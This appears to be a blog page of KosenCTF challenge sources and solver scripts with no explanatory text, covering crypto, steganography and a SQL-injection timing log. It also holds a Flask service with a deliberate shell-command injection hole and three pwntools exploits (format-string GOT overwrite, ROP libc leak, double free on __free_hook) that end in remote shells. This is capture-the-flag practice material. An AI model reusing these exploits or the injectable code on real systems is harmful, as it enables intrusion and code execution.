st98 の日記帳

from secret import flag
from random import randrange


def is_prime(N):
    if N % 2 == 0:
        return False
    i = 3
    while i * i < N:
        if N % i == 0:
            return False
        i += 2
    return True


L = len(flag)
assert is_prime(L)

encrypted = list(flag)
k = randrange(1, L)
while True:
    a = randrange(0, L)
    b = randrange(0, L)

    if a != b:
        break

i = k
for _ in range(L):
    s = (i + a) % L
    t = (i + b) % L
    encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
    i = (i + k) % L

encrypted = "".join(encrypted)
print(encrypted)

target = '1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm'
L = len(target)

for a in range(0, L):
  for b in range(0, L):
    if a == b:
      continue

    for k in range(1, L):
      encrypted = list('KosenCTF{' + 'A' * (L - len('KosenCTF{')))
      i = k

      for _ in range(L):
        s = (i + a) % L
        t = (i + b) % L
        encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
        i = (i + k) % L

      for c, d in zip(target, encrypted):
        if d == 'A':
          continue
        if c != d:
          break
      else:
        print(a, b, k)

encrypted = '1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm'
L = len(encrypted)
a, b, k = 49, 36, 17

indices = []
i = k
for _ in range(L):
  s = (i + a) % L
  t = (i + b) % L
  indices.append((s, t))
  i = (i + k) % L

encrypted = list(encrypted)
for s, t in indices[::-1]:
  encrypted[s], encrypted[t] = encrypted[t], encrypted[s]

print(''.join(encrypted))

from secrets import flag
from Crypto.Util.number import getStrongPrime

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q

key = int.from_bytes(flag, "big")
c = pow(1 + n, key, n * n)

print("I encrypted my secret!!!", flush=True)
print(c, flush=True)

# receive plaintext
print(
    "I encrypt your message ;)",
    flush=True,
)

while True:
    plaintext = input("> ")
    m = int(plaintext)
    
    # check plaintext
    if m.bit_length() < key.bit_length():
        print(
            "[!]Your plaintext is too weak. At least {} bits long plaintext is required.".format(
                key.bit_length()
            ),
            flush=True,
        )
        continue
        
    # encrypt
    c = pow(1 + n, m, n * n)

    # output
    print("Thanks. This is your secret message.", flush=True)
    print(c, flush=True)

from pwn import * # https://github.com/Gallopsled/pwntools

s = remote('crypto.kosenctf.com', 8002)
s.recvline()

encrypted = int(s.recvline())
s.recvline()

table = ''.join(sorted('{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_- !?#'))

l = 48
known = 'KosenCTF{'
for _ in range(len(known), l):
  p = ''

  for c in table:
    temp = int((known + c).ljust(l, '\0').encode('hex'), 16)

    s.recvuntil('> ')
    s.sendline(str(temp))
    s.recvline()
    res = int(s.recvline())

    if res > encrypted:
      known += p
      break
    p = c

  print known

from secret import flag, key
from Crypto.Cipher import AES
from Crypto.Util import Padding
from Crypto import Random
from binascii import hexlify, unhexlify
import json
import responder

api = responder.API()


@api.route("/")
def index(req, resp):
    if "result" in req.cookies:
        api.redirect(resp, api.url_for(result))
    else:
        api.redirect(resp, api.url_for(Check))


@api.route("/exit")
def exit(req, resp):
    resp.set_cookie("user", max_age=-1)
    api.redirect(resp, api.url_for(Check))


@api.route("/result")
def result(req, resp):
    if "result" not in req.cookies:
        api.redirect(resp, api.url_for(Check))
        return

    try:
        cipher = unhexlify(req.cookies["result"])
        if len(cipher) < AES.block_size * 2:
            resp.text = "ERROR: cookie should be iv(16) + cipher(16*n)"
            return
        iv, cipher = cipher[: AES.block_size], cipher[AES.block_size :]
        aes = AES.new(key, AES.MODE_CBC, iv)
        data = Padding.unpad(aes.decrypt(cipher), AES.block_size).decode()
        data = json.loads(data)
        resp.html = api.template("result.html", flag=flag, data=data)
    except TypeError:
        resp.text = "ERROR: invalid cookie"
    except UnicodeDecodeError:
        resp.text = "ERROR: unicode decode error"
    except json.JSONDecodeError:
        resp.text = "ERROR: json decode error"
    except ValueError:
        resp.text = "ERROR: padding error"


@api.route("/check")
class Check:
    def on_get(self, req, resp):
        resp.html = api.template("check.html")

    async def on_post(self, req, resp):
        form = await req.media("form")
        number = form.get("number", None)
        try:
            _ = int(number)
        except ValueError:
            resp.text = "ERROR: please input your ticket number"
            return

        data = json.dumps({"is_hit": False, "number": number}).encode()
        data = Padding.pad(data, AES.block_size)
        iv = Random.get_random_bytes(AES.block_size)
        aes = AES.new(key, AES.MODE_CBC, iv)
        resp.cookies["result"] = hexlify(iv + aes.encrypt(data)).decode()

        api.redirect(resp, api.url_for(result))


if __name__ == "__main__":
    api.run(debug=True)

from Crypto.Util.number import *
from secret import flag, yukko
import re

assert re.match(r"^KosenCTF{.+}$", flag)

Nbits = 1024
p = getPrime(Nbits)
q = getPrime(Nbits)
n = p * q
e = 5
c = pow(bytes_to_long((yukko + flag).encode()), e, n)

print("N = {}".format(n))
print("e = {}".format(e))

print("Wow Yukko the ESPer helps you!")
print(yukko + "the length of the flag = {}".format(len(flag)))
print("c = {}".format(c))

# http://inaz2.hatenablog.com/entry/2016/01/20/022936
n = 11854673881335985163635072085250462726008700043680492953159905880499045049107244300920837378010293967634187346804588819510452454716310449345364124188546434429828696164683059829613371961906369413632824692460386596396440796094037982036847106649198539914928384344336740248673132551761630930934635177708846275801812766262866211038764067901005598991645254669383536667044207899696798812651232711727007656913524974796752223388636251060509176811628992340395409667867485276506854748446486284884567941298744325375140225629065871881284670017042580911891049944582878712176067643299536863795670582466013430445062571854275812914317
e = 5
c = 4463634440284027456262787412050107955746015405738173339169842084094411947848024686618605435207920428398544523395749856128886621999609050969517923590260498735658605434612437570340238503179473934990935761387562516430309061482070214173153260521746487974982738771243619694317033056927553253615957773428298050465636465111581387005937843088303377810901324355859871291148445415087062981636966504953157489531400811741347386262410364012023870718810153108997879632008454853198551879739602978644245278315624539189505388294856981934616914835545783613517326663771942178964492093094767168721842335827464550361019195804098479315147

kbits = 8 * 28
mbar = 42983198277764796429769849778560768556634168265102988738267040585263257346275308818714371333496991474059525021258051487213763741199340195311836730211991606494242875122658745448181510008423346774607067116707916143495126355724888827452167127505534385427098632192

print hex(mbar)

table = [ord(cc) for cc in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_- !?#']
for cc in table:
    print cc
    for dd in table:
        test_mbar = mbar | (cc << (8 * 29)) | (dd << (8 * 28))

        PR.<x> = PolynomialRing(Zmod(n))
        f = (test_mbar + x)^e - c

        xs = f.small_roots(X=2^kbits, beta=1)
    
        if len(xs) > 0:
            print test_mbar + xs[0]

print 'done'

from PIL import Image
from secret import flag
from datetime import datetime
import tarfile
import sys

import random

random.seed(int(datetime.now().timestamp()))

bin_flag = []
for c in flag:
    for i in range(8):
        bin_flag.append((ord(c) >> i) & 1)

img = Image.open("./emiru.png")
new_img = Image.new("RGB", img.size)

w, h = img.size

i = 0
for x in range(w):
    for y in range(h):
        r, g, b = img.getpixel((x, y))
        rnd = random.randint(0, 2)
        if rnd == 0:
            r = (r & 0xFE) | bin_flag[i % len(bin_flag)]
            new_img.putpixel((x, y), (r, g, b))
        elif rnd == 1:
            g = (g & 0xFE) | bin_flag[i % len(bin_flag)]
            new_img.putpixel((x, y), (r, g, b))
        elif rnd == 2:
            b = (b & 0xFE) | bin_flag[i % len(bin_flag)]
            new_img.putpixel((x, y), (r, g, b))
        i += 1

new_img.save("./steg_emiru.png")
with tarfile.open("stegano.tar.gz", "w:gz") as tar:
    tar.add("./steg_emiru.png")
    tar.add(sys.argv[0])

new_img.save("./steg_emiru.png")
with tarfile.open("stegano.tar.gz", "w:gz") as tar:
    tar.add("./steg_emiru.png")
    tar.add(sys.argv[0])

import tarfile
import random
import re
from PIL import Image

with tarfile.open('hugtto.tar.gz', 'r:gz') as f:
  t = f.getmember('./steg_emiru.png').mtime

im = Image.open('steg_emiru.png')
w, h = im.size

def test(t, xx):
  random.seed(t)

  i = 0
  res = []

  for x in range(w):
    for y in range(h):
      r, g, b = im.getpixel((x, y))
      rnd = random.randint(0, 2)

      if rnd == 0:
        bit = r & 1
      elif rnd == 1:
        bit = g & 1
      elif rnd == 2:
        bit = b & 1

      res.append(bit)

      i += 1
      if i == xx:
        res = ''.join(str(x) for x in res)
        return ''.join(chr(int(c[::-1], 2)) for c in re.findall(r'.{8}', res))

while True:
  if test(t, 8) == 'K':
    print(t)
    break
  t -= 1

print(test(t, 8 * 100))

import re
import urllib.parse

password = ''
with open('log.txt', 'rb') as f:
  t, prev = 5.650384, ''
  while True:
    req = f.readline().decode('utf-8')
    if req == '':
      break
    if 'SLEEP' not in req:
      continue

    req = re.split(r'\s+', req.strip())
    if float(req[1]) - t > 1.0:
      password += chr(int(prev))
      pass
    t = float(req[1])
    prev = urllib.parse.unquote(req[-2])
    prev = re.findall(r'=(\d+)', prev)[0]

print(password)

from flask import *
import os
import random
import re

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024
app.config['SECRET_KEY'] = os.urandom(32)

HOST, PORT = '0.0.0.0', '13001'

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        flash('Upload a file.')
        return redirect('/')
    
    f = request.files['file']
    if not f:
        flash('Upload a file.')
        return redirect('/')
    
    if not is_allowed_file(f.filename):
        flash('Invalid filename.')
        return redirect('/')

    filepath = os.path.join('/tmp', f.filename)
    outpath = '/tmp/{:016x}.zip'.format(random.randrange(0, pow(2, 64)))
    f.save(filepath)
    
    conv = request.form.get('conv', '')
    comp = request.form.get('comp', '')
    enc  = request.form.get('enc' , '')
    password = request.form.get('password', '')
    options = ''
    for option in [conv, comp, enc]:
        if is_allowed_option(option):
            options += '-{} '.format(option)
    if enc and is_allowed_password(password):
        options = '{}"{}"'.format(options, password)
    
    command = 'timeout -k 2 1 zip {} {} -j {}'.format(
        outpath,
        filepath,
        options
    )
    os.system(command)
    
    if not os.path.exists(outpath):
        flash('Failed.')
        return redirect('/')

    response = make_response()
    response.data = open(outpath, "rb").read()
    response.headers['Content-Disposition'] = 'attachment; filename=output.zip'
    response.mimetype = 'application/zip'
    os.unlink(outpath)
    
    return response

def is_allowed_file(filename):
    return re.fullmatch("[A-Za-z0-9]+\.(png|jpg|jpeg)", filename) is not None

def is_allowed_option(option):
    return re.fullmatch("[A-Za-z0-9]+", option) is not None

def is_allowed_password(password):
    return re.fullmatch("[^\"`$\\\\!]+", password) is not None

if __name__ == '__main__':
    app.run(
        host = HOST,
        port = PORT,
        debug=False
    )

    conv = request.form.get('conv', '')
    comp = request.form.get('comp', '')
    enc  = request.form.get('enc' , '')
    password = request.form.get('password', '')
    options = ''
    for option in [conv, comp, enc]:
        if is_allowed_option(option):
            options += '-{} '.format(option)
    if enc and is_allowed_password(password):
        options = '{}"{}"'.format(options, password)
    
    command = 'timeout -k 2 1 zip {} {} -j {}'.format(
        outpath,
        filepath,
        options
    )
    os.system(command)

from pwn import * # https://github.com/Gallopsled/pwntools
from libformatstr import FormatStr # https://github.com/hellman/libformatstr

elf = ELF('./chall')
s = remote('pwn.kosenctf.com', 9003)

s.recvuntil('$ ')
p = FormatStr(isx64=1)
p[elf.got['printf']] = elf.symbols['system']
p[elf.got['printf'] + 4] = 0
s.sendline(p.payload(12))

s.interactive()

from pwn import *

elf = ELF('./chall')
rop = ROP(elf)
libc = ELF('./libc-2.27.so')
s = remote('pwn.kosenctf.com', 9002)

# stage 1: get libc base address
s.recvuntil('Input: ')

payload = ''
payload += 'A' * 120
payload += p64(rop.find_gadget(['pop rdi', 'ret']).address)
payload += p64(elf.got['puts'])
payload += p64(elf.symbols['puts']) # puts(puts)
payload += p64(rop.find_gadget(['pop rdi', 'ret']).address)
payload += p64(0)
payload += p64(rop.find_gadget(['pop rsi', 'pop r15', 'ret']).address)
payload += p64(elf.symbols['lock'])
payload += p64(0) # dummy
payload += p64(elf.symbols['read']) # read(0, lock, ???)
payload += p64(elf.symbols['main'])
s.send(payload)
s.recvline() # output

addr_puts = u64(s.recvline()[:-1].ljust(8, '\0'))
libc_base = addr_puts - libc.symbols['puts']
print 'libc_base:', hex(libc_base)

s.send('\0\0\0\0') # lock = 0

# stage 2: get shell
s.recvuntil('Input: ')

payload = ''
payload += p64(libc_base + 0x4f2c5) * 32 # one-gadget rce
s.send(payload)
s.recvline() # output

s.interactive()

from pwn import *

elf = ELF('./chall')
rop = ROP(elf)
libc = ELF('./libc-2.27.so')
offset_one_gadget_rce = 0x4f322
s = remote('pwn.kosenctf.com', 9005)

addr_kitten = 0x6020a0

# stage1: get libc base address
s.sendafter('> ', '2')
s.sendafter('> ', str((0x400538 - addr_kitten) // 8))

addr_libc_start_main = u64(s.recvline().split(':')[0].ljust(8, '\0'))
libc_base = addr_libc_start_main - libc.symbols['__libc_start_main']
print 'libc_base:', hex(libc_base)

# stage2: overwrite __free_hook with one-gadget rce
s.sendafter('> ', '1')
s.sendafter('Name: ', 'A') # *1
s.sendafter('> ', '1')
s.sendafter('Name: ', p64(addr_kitten))
s.sendafter('> ', '2')
s.sendafter('> ', str((elf.symbols['name'] - addr_kitten) // 8)) # leak *1 address

addr_allocated1 = u64(s.recvline().split(':')[0].ljust(8, '\0'))

s.sendafter('> ', '1')
s.sendafter('Name: ', p64(addr_allocated1))
s.sendafter('> ', '3')
s.sendafter('> ', '0')
s.sendafter('> ', '3')
s.sendafter('> ', str((elf.symbols['name'] - addr_kitten) // 8)) # double free

s.sendafter('> ', '1')
s.sendafter('Name: ', p64(libc_base + libc.symbols['__free_hook']))
s.sendafter('> ', '1')
s.sendafter('Name: ', 'A')
s.sendafter('> ', '1')
s.sendafter('Name: ', p64(libc_base + offset_one_gadget_rce)) # write address to __free_hook

s.sendafter('> ', '3')
s.sendafter('> ', '0') # fire!

s.interactive()